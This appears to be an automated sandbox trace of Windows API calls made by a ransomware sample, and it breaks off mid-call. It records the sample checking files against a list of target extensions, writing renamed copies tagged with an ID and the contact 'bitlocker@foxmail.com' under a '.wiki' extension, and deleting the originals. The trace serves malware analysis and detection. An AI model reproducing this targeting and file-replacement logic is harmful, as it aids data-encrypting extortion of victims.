lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.945] lstrlenW (lpString=".docx") returned 5 [0199.945] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.945] lstrlenW (lpString=".pdf") returned 4 [0199.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.946] lstrlenW (lpString=".xls") returned 4 [0199.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.946] lstrlenW (lpString=".xlsx") returned 5 [0199.946] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.946] lstrlenW (lpString=".ppt") returned 4 [0199.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.946] lstrlenW (lpString=".zip") returned 4 [0199.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.946] lstrlenW (lpString=".rar") returned 4 [0199.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.946] lstrlenW (lpString=".bz2") returned 4 [0199.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.946] lstrlenW (lpString=".7z") returned 3 [0199.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.946] lstrlenW (lpString=".dbf") returned 4 [0199.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.946] lstrlenW (lpString=".1cd") returned 4 [0199.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.946] lstrlenW (lpString=".jpg") returned 4 [0199.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.946] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.946] lstrlenW (lpString="J0188519.WMF") returned 12 [0199.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.947] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5824) returned 1 [0199.947] CloseHandle (hObject=0x1fc) returned 1 [0199.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf")) returned 0x20 [0199.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.947] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.947] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.948] GetLastError () returned 0x0 [0199.948] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x16c0, lpOverlapped=0x0) returned 1 [0199.964] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0199.965] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.965] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.966] SetEndOfFile (hFile=0x1cc) returned 1 [0199.966] CloseHandle (hObject=0x1cc) returned 1 [0199.966] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.966] SetEndOfFile (hFile=0x1fc) returned 1 [0199.967] CloseHandle (hObject=0x1fc) returned 1 [0199.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf")) returned 1 [0199.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.967] lstrlenW (lpString=".doc") returned 4 [0199.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.967] lstrlenW (lpString=".docx") returned 5 [0199.967] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.967] lstrlenW (lpString=".pdf") returned 4 [0199.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.967] lstrlenW (lpString=".xls") returned 4 [0199.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.967] lstrlenW (lpString=".xlsx") returned 5 [0199.967] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.967] lstrlenW (lpString=".ppt") returned 4 [0199.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.967] lstrlenW (lpString=".zip") returned 4 [0199.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.968] lstrlenW (lpString=".rar") returned 4 [0199.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.968] lstrlenW (lpString=".bz2") returned 4 [0199.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.968] lstrlenW (lpString=".7z") returned 3 [0199.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.968] lstrlenW (lpString=".dbf") returned 4 [0199.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.968] lstrlenW (lpString=".1cd") returned 4 [0199.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.968] lstrlenW (lpString=".jpg") returned 4 [0199.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.968] lstrlenW (lpString=".doc") returned 4 [0199.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.968] lstrlenW (lpString=".docx") returned 5 [0199.968] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.968] lstrlenW (lpString=".pdf") returned 4 [0199.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.968] lstrlenW (lpString=".xls") returned 4 [0199.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.968] lstrlenW (lpString=".xlsx") returned 5 [0199.968] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.968] lstrlenW (lpString=".ppt") returned 4 [0199.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.969] lstrlenW (lpString=".zip") returned 4 [0199.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.969] lstrlenW (lpString=".rar") returned 4 [0199.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.969] lstrlenW (lpString=".bz2") returned 4 [0199.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.969] lstrlenW (lpString=".7z") returned 3 [0199.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.969] lstrlenW (lpString=".dbf") returned 4 [0199.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.969] lstrlenW (lpString=".1cd") returned 4 [0199.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0199.969] lstrlenW (lpString=".jpg") returned 4 [0199.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.969] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.969] lstrlenW (lpString="J0188587.WMF") returned 12 [0199.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.970] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15196) returned 1 [0199.970] CloseHandle (hObject=0x1fc) returned 1 [0199.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf")) returned 0x20 [0199.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.970] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.970] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.971] GetLastError () returned 0x0 [0199.971] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3b5c, lpOverlapped=0x0) returned 1 [0199.972] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3b60, lpOverlapped=0x0) returned 1 [0199.973] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.973] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.973] SetEndOfFile (hFile=0x1cc) returned 1 [0199.974] CloseHandle (hObject=0x1cc) returned 1 [0199.974] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.974] SetEndOfFile (hFile=0x1fc) returned 1 [0199.974] CloseHandle (hObject=0x1fc) returned 1 [0199.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf")) returned 1 [0199.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.975] lstrlenW (lpString=".doc") returned 4 [0199.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.975] lstrlenW (lpString=".docx") returned 5 [0199.975] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.975] lstrlenW (lpString=".pdf") returned 4 [0199.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.975] lstrlenW (lpString=".xls") returned 4 [0199.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.975] lstrlenW (lpString=".xlsx") returned 5 [0199.975] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.975] lstrlenW (lpString=".ppt") returned 4 [0199.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.975] lstrlenW (lpString=".zip") returned 4 [0199.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.975] lstrlenW (lpString=".rar") returned 4 [0199.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.975] lstrlenW (lpString=".bz2") returned 4 [0199.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.975] lstrlenW (lpString=".7z") returned 3 [0199.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.976] lstrlenW (lpString=".dbf") returned 4 [0199.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.976] lstrlenW (lpString=".1cd") returned 4 [0199.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.976] lstrlenW (lpString=".jpg") returned 4 [0199.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.976] lstrlenW (lpString=".doc") returned 4 [0199.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.976] lstrlenW (lpString=".docx") returned 5 [0199.976] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.976] lstrlenW (lpString=".pdf") returned 4 [0199.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.976] lstrlenW (lpString=".xls") returned 4 [0199.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.976] lstrlenW (lpString=".xlsx") returned 5 [0199.976] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.976] lstrlenW (lpString=".ppt") returned 4 [0199.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.976] lstrlenW (lpString=".zip") returned 4 [0199.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.976] lstrlenW (lpString=".rar") returned 4 [0199.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.976] lstrlenW (lpString=".bz2") returned 4 [0199.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.976] lstrlenW (lpString=".7z") returned 3 [0199.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.977] lstrlenW (lpString=".dbf") returned 4 [0199.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.977] lstrlenW (lpString=".1cd") returned 4 [0199.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0199.977] lstrlenW (lpString=".jpg") returned 4 [0199.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.977] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.977] lstrlenW (lpString="J0188667.WMF") returned 12 [0199.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.977] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=16030) returned 1 [0199.977] CloseHandle (hObject=0x1fc) returned 1 [0199.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf")) returned 0x20 [0199.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.978] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.978] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.979] GetLastError () returned 0x0 [0199.979] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3e9e, lpOverlapped=0x0) returned 1 [0199.981] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3ea0, lpOverlapped=0x0) returned 1 [0199.982] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.982] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.982] SetEndOfFile (hFile=0x1cc) returned 1 [0199.982] CloseHandle (hObject=0x1cc) returned 1 [0199.982] SetFilePointerEx (hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8) Thread: id = 408 os_tid = 0x35c [0182.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c00048 [0182.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c10050 [0182.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638800 [0182.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636e90 [0182.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6387e8 [0182.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3d00020 [0182.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638878 [0182.583] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638878, Size=0x20) returned 0x633b20 [0182.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638878 [0182.583] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638878, Size=0x20) returned 0x633aa8 [0182.584] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.584] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.584] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff58 | out: OldValue=0x314ff58*=0x0) returned 1 [0182.584] lstrlenW (lpString="kernel32.dll") returned 12 [0182.584] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.584] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.584] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633aa8 | out: hHeap=0x5c0000) returned 1 [0182.584] Sleep (dwMilliseconds=0x64) [0182.801] Sleep (dwMilliseconds=0x64) [0183.034] Sleep (dwMilliseconds=0x64) [0183.418] Sleep (dwMilliseconds=0x64) [0183.839] Sleep (dwMilliseconds=0x64) [0184.077] Sleep (dwMilliseconds=0x64) [0184.381] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.381] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0184.381] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.868] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5025) returned 1 [0184.868] CloseHandle (hObject=0x1e8) returned 1 [0184.868] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0184.868] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.868] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.868] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0184.869] lstrlenW (lpString="C:\\Program 